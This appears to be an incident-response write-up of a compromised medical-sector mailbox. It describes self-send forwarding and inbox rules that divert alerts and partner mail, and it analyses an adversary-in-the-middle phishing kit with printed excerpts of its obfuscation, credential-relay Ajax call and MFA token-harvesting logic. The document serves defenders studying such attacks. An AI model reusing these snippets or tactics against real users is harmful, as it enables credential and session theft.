Polymorphic AiTM Phishing Kit

Polymorphic JS core (module.php) + MFA state machine

The Incident — Credentialed Access

In this case, “Elliot Kane” (name changed) was a compromised mailbox user within the NorthBridge Medical environment. The message activity was not spoofed. Header artifacts showed a successful MAPI submission:

• MAPI build: 15.20.9611.008
• Interpretation: the actor authenticated using valid credentials and sent mail from within the account context.

The Self-Send Maneuver

The attacker sent the message from Elliot Kane to Elliot Kane. Once safely inside the mailbox, it was forwarded outward to “Daniel Reeves”.

This maneuver reduces first contact or external sender warnings and makes the message appear operationally normal before it is weaponized outward.

Signature Replication Clue

The header contained:

x-codetwo-clientsignature-inserted: true

This indicates the environment uses CodeTwo for automated signature injection. The external entity clearly understood this — staging a fallback signature asset to replicate the expected corporate look if automation failed during the unauthorized session.

Confirmed Mailbox Access & Persistence

• Accessed via Exchange Online
• Activity window: February 11, 2026 — 20:08 to 20:10 UTC
• Short smash-and-grab access pattern
• Immediate persistence through inbox rule manipulation

Inbox Rules Created

• Rule 1: Redirect mail from the primary partner domain to RSS Feeds.
• Rule 2: Redirect messages containing keywords such as “phishing,” “compromise,” “hack,” or “spam” to RSS Feeds.

If a security alert arrived, it never surfaced in the primary inbox.

Representative Data Targeting (Names Changed)

• FW: Remittance Confirmation — January Cycle
• RE: Patient Intake Record Update
• RE: Chart Review — MRN 847219
• RE: Case Manager — Delivery Coordination
• Desk Drop: Internal Workflow Adjustment

Total items accessed: 14

Attacker Infrastructure

Technical Analysis — Polymorphic JS Core (module.php)

All code excerpts below are taken from the original kit artifacts posted here: https://cybercrypto.net/phishing-module/

The phishing kit’s central differentiator is its polymorphic JavaScript framework. Rather than exposing static DOM identifiers, it decodes them at runtime.

Phase 1 — Runtime Decoding (module.php excerpt)

Reference: see the “initialization/decoding” section in the artifact page above.

const hbIds = JSON.parse(atob(window[_funcs14.damang]));
const _classes81 = JSON.parse(atob(window[_funcs14.suke]));

Button IDs and class names mutate per session. Static signature detection fails because the DOM is constructed dynamically.

Phase 2 — Honeypot Execution (module.php excerpt)

Reference: see the “honeypot” logic in the artifact page above.

const hps = document.querySelectorAll('.' + _getClass91('honeypot'));
for (let hp of hps) {
  if (hp.value !== '') {
    window.location.href = hbCache[hbProps.random] + '#hp';
    return;
  }
}

Bots that auto-fill hidden fields are redirected instantly.

Phase 3 — Credential Relay (module.php excerpt)

Reference: see the Ajax credential posting logic in the artifact page above.

$.ajax({
  url: hbCache[hbProps.validate],
  data: { em: val, pa: val_pwd },
  success: function(r) {
    if (r.live && r.twofactor) _process2FA88(r.twofactor_info);
  }
});

Credentials are relayed to the proxy, which interacts with the legitimate Microsoft endpoint.

Phase 4 — MFA State Machine (module.php excerpt)

Reference: see the MFA “verify_app” polling logic in the artifact page above.

if (dataUrl === 'verify_app') {
  elementsb176.entropy.innerHTML = r.entropy;
  const intId = setInterval(() => {
    pollAppfedb(intId);
  }, 5000);
}

Instead of breaking MFA, the kit waits for the user to satisfy it — then harvests the resulting session token.

Phase 5 — Clean Exit (module.php excerpt)

Reference: see the final redirect handler in the artifact page above.

const hbHandleFinal = () => {
  if (viewRef === 'final')
    window.location.href = atob(hbCache[hbProps.finalRedirect]);
};

The user is redirected to a benign location while the attacker immediately begins using the stolen session.